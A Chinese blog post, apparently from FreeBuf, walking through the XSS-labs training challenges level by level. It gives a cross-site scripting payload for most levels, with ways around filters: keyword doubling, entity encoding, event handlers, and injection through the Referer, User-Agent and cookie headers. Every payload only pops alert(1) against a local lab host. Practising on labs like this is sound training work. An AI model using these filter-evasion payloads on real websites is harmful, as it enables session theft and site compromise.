freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XSS-labs通关(超详细)
小惜 2021-11-26 14:34:17 421279

1.第一关

payload:

http://xss/level1.php?name=<Script>alert(1)</Script>

2.第二关

image-20211022164836223

这里变量出现在两处,我们直接利用第二处,做构造以及闭合

payload:

1"><ScRipt>alert(1)</ScRipt>

3.第三关

​ 用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码

image-20211022172007352

​ 查一下网页源代码和php代码

image-20211022172038643

image-20211022172124350

​ 看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?

​ 说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签

这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)

​ 这里我用的是click,直接点击一下就可以了

payload:

' onclick ='javascript:alert(1)'//

4.第四关

==同第三关(把单引号换成双引号)==

5.第五关

script过滤了,onclick也过滤了

image-20211023180844252

image-20211023180935727

尝试构造a标签

"></input><a href='javascript:alert(1)'>asd</a>//

image-20211023181214313

5.第六关

==同第二关==

7. 第七关

删去了script,这个简单看看是不是过滤了一次,将script变成scrscriptipt

image-20211023150423071

成功,看来只过滤了一次

image-20211023150542588

payload:

1"><ScscriptRipt>alert(1)</ScscriptRipt>

8. 第八关

老规矩拿第6关的payload试验一下,然后看网页源代码

image-20211023150939801

上边过滤了<>特殊符号

下边在script中间加了个下划线

但是注意看下边代码再href里,哪还说啥了

我们这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过

image-20211023162403411

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9.第九关

先来波检测,填入它然后查源代码,看过滤情况

<>"'script onclick

image-20211023162613156

完BK,双引号和尖括号都给过滤了,但是下边发现了,您的链接不合法,那我填个合法的?

image-20211023163246074

那我再动动手脚

javascript:alert(1);http://www.baidu.com

还是不行

image-20211023163451280

那我编码呗(第八关的后边加个注释再加个网址)

==注意:==后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。

payload:

javascript:alert(1)//http://www.baidu.com

image-20211023164524602

10.第十关

​ 还是'' ' >< script onclick测试一遍,发现只过滤了" 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用

image-20211023181454854

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

最后的那位出来了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rqOVXnIJ-1635070623127)(C:\Users\梦晨\AppData\Roaming\Typora\typora-user-images\image-20211023182012429.png)]

payload:

&t_sort=" type='text' onclick='javascript:alert(1)'>//

image-20211023182112868

11.第十一关

先来看下源代码,又有四个货隐藏了

image-20211023182211845

​ 再来测下,发现还是t_sort不过双引号和尖括号被过滤,t_ref的值咋也变了,再仔细看下原来的,这不是第10关的网址吗?啊,懂了referer,那么就打开我亲爱的BP

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//&t_ref=" type='text'>//

image-20211023182334065

直接刷新一下加上referer

image-20211023183139998

" type='text' onclick='javascript:alert(1)'>//

image-20211023183151382

12. 第十二关

image-20211023183320860

这不就是UA吗,so easy,来吧还是得用BP改下UA,payload同第十一关

image-20211023183436050

13.第十三关

查源代码,多了一个cook,传个值

image-20211023183544397

给我整不会了,跟我玩呢?仔细想想应该目标对了,打开方式不对,cook,难不成cookie?再用BP试试

image-20211023183855365

还真是,

image-20211023184414456

image-20211023184206058

14.第十四关

一顿调试无果,上网一找,题有问题

==瞎耽误工夫==

image-20211023184842199

15.第十五关

查源码

image-20211023185231316

image-20211023185723863

包含外部的html文件?那这么说我把第一关的网址试一下

http://xss/level15.php?src=http://xss/level1.php?name=%3CScript%3Ealert(1)%3C/Script%3E

image-20211023190448416

尖括号被屏蔽了,而且我们不能构造出onclick等时间,因为你点谁去啊?但是我们可以构造个img,然后onerror方法,来尝试一下

xss/level15.php?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'

image-20211023191104705

16.第十六关

老规矩

xss/level16.php?keyword=“ ‘ <> script onerror  onclick

image-20211023203411562

过滤了script和" '还有空格

尝试加个a标签,空格用回车编码代替,点击图片过关

<a%0D%0Aonclick='alert(1)'>

image-20211023204006325

17.第十七关

源代码,这个embed是什么?

image-20211023204611524

呵呵了,Firefox是能支持,查了需要插件,那我就换成谷歌吧(图片截错了截图成18关的了,不过17和18是一样的payload)

image-20211023204358960

123 onclick='alert(1)'

成了是成了,但是点完没法应可能跟调用失败有关吧,那就换个方法

image-20211024145023414

换成了onmousedown

payload:

123 onmousedown='alert(1)'

18.第十八关

==同第十七关==

(19和20涉及到反编译,等我升段之后再更)

# 渗透测试 # web安全 # CTF # XSS漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 小惜 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小惜 LV.5
微信公众号:小惜渗透,欢迎大佬一起交流进步
  • 26 文章数
  • 39 关注者
【从0到1学免杀】--1. 加解密过静态
2024-06-07
【安卓】拿注册码的两种方式
2023-08-29
【红队攻防】个人总结、工具、大量干货
2023-07-24
文章目录